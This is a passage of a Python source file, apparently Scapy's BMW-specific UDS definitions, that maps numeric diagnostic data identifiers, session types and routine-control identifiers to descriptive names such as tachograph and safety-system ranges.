\"tachographPIds_F900_F9FF\"\nUDS_RDBI.dataIdentifiers[0xf9fc] = \"tachographPIds_F900_F9FF\"\nUDS_RDBI.dataIdentifiers[0xf9fd] = \"tachographPIds_F900_F9FF\"\nUDS_RDBI.dataIdentifiers[0xf9fe] = \"tachographPIds_F900_F9FF\"\nUDS_RDBI.dataIdentifiers[0xf9ff] = \"tachographPIds_F900_F9FF\"\nUDS_RDBI.dataIdentifiers[0xfa00] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa01] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa02] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa03] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa04] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa05] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa06] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa07] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa08] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa09] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa0a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa0b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa0c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa0d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa0e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa0f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa10] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa11] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa12] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa13] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa14] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa15] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa16] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa17] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa18] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa19] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa1a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa1b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa1c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa1d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa1e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa1f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa20] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa21] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa22] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa23] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa24] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa25] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa26] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa27] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa28] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa29] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa2a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa2b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa2c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa2d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa2e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa2f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa30] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa31] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa32] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa33] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa34] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa35] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa36] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa37] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa38] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa39] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa3a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa3b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa3c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa3d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa3e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa3f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa40] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa41] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa42] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa43] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa44] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa45] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa46] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa47] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa48] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa49] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa4a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa4b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa4c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa4d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa4e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa4f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa50] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa51] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa52] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa53] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa54] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa55] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa56] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa57] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa58] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa59] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa5a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa5b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa5c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa5d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa5e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa5f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa60] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa61] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa62] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa63] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa64] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa65] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa66] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa67] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa68] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa69] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa6a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa6b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa6c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa6d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa6e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa6f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa70] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa71] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa72] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa73] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa74] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa75] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa76] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa77] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa78] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa79] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa7a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa7b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa7c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa7d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa7e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa7f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa80] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa81] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa82] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa83] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa84] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa85] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa86] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa87] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa88] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa89] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa8a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa8b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa8c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa8d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa8e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa8f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa90] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa91] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa92] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa93] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa94] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa95] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa96] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa97] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa98] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa99] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa9a] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa9b] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa9c] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa9d] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa9e] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfa9f] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa0] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa1] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa2] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa3] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa4] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa5] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa6] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa7] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa8] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaa9] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaaa] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaab] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaac] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaad] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaae] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaaf] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab0] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab1] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab2] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab3] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab4] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab5] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab6] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab7] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab8] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfab9] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaba] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfabb] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfabc] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfabd] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfabe] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfabf] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac0] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac1] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac2] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac3] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac4] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac5] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac6] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac7] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac8] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfac9] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaca] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfacb] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfacc] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfacd] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xface] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfacf] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad0] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad1] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad2] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad3] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad4] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad5] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad6] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad7] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad8] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfad9] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfada] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfadb] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfadc] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfadd] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfade] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfadf] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae0] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae1] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae2] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae3] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae4] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae5] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae6] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae7] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae8] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfae9] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaea] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaeb] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaec] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaed] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaee] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaef] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf0] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf1] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf2] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf3] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf4] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf5] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf6] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf7] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf8] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaf9] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfafa] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfafb] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfafc] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfafd] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfafe] = \"safetySystemPIds_FA00_FAFF\"\nUDS_RDBI.dataIdentifiers[0xfaff] = \"safetySystemPIds_FA00_FAFF\"\n\nUDS_DSC.diagnosticSessionTypes[0x81] = \"defaultMode-StandardDiagnosticMode-OBDIIMode\"  # noqa E501\nUDS_DSC.diagnosticSessionTypes[0x82] = \"periodicTransmissions\"\nUDS_DSC.diagnosticSessionTypes[0x83] = \"BMW_NOTtoBeImplemented_endOfLineVehicleManufacturerMode\"  # noqa E501\nUDS_DSC.diagnosticSessionTypes[0x84] = \"endOfLineSystemSupplierMode\"\nUDS_DSC.diagnosticSessionTypes[0x85] = \"ECUProgrammingMode\"\nUDS_DSC.diagnosticSessionTypes[0x86] = \"ECUDevelopmentMode\"\nUDS_DSC.diagnosticSessionTypes[0x87] = \"ECUAdjustmentMode\"\nUDS_DSC.diagnosticSessionTypes[0x88] = \"ECUVariantCodingMode\"\nUDS_DSC.diagnosticSessionTypes[0x89] = \"BMW_ECUsafetyMode\"\n\nUDS_IOCBI.dataIdentifiers = UDS_RDBI.dataIdentifiers\n\nUDS_RC.routineControlIdentifiers[0x0000] = \"BMW_linearAddressRange\"\nUDS_RC.routineControlIdentifiers[0x0001] = \"BMW_ROM_EPROM_internal\"\nUDS_RC.routineControlIdentifiers[0x0002] = \"BMW_ROM_EPROM_external\"\nUDS_RC.routineControlIdentifiers[0x0003] = \"BMW_NVRAM_characteristicZones_DTCmemory\"  # noqa E501\nUDS_RC.routineControlIdentifiers[0x0004] = \"BMW_RAM_internal_shortMOV\"\nUDS_RC.routineControlIdentifiers[0x0005] = \"BMW_RAM_external_xDataMOV\"\nUDS_RC.routineControlIdentifiers[0x0006] = \"BMW_flashEPROM_internal\"\nUDS_RC.routineControlIdentifiers[0x0007] = \"BMW_UIFmemory\"\nUDS_RC.routineControlIdentifiers[0x0008] = \"BMW_vehicleOrderDataMemory\"\nUDS_RC.routineControlIdentifiers[0x0009] = \"BMW_flashEPROM_external\"\nUDS_RC.routineControlIdentifiers[0x000b] = \"BMW_RAM_internal_longMOVatRegister\"\nUDS_RC.routineControlIdentifiers[0x0100] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0101] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0102] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0103] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0104] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0105] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0106] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0107] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0108] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0109] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x010a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x010b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x010c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x010d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x010e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x010f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0110] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0111] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0112] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0113] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0114] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0115] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0116] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0117] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0118] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0119] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x011a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x011b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x011c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x011d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x011e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x011f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0120] = 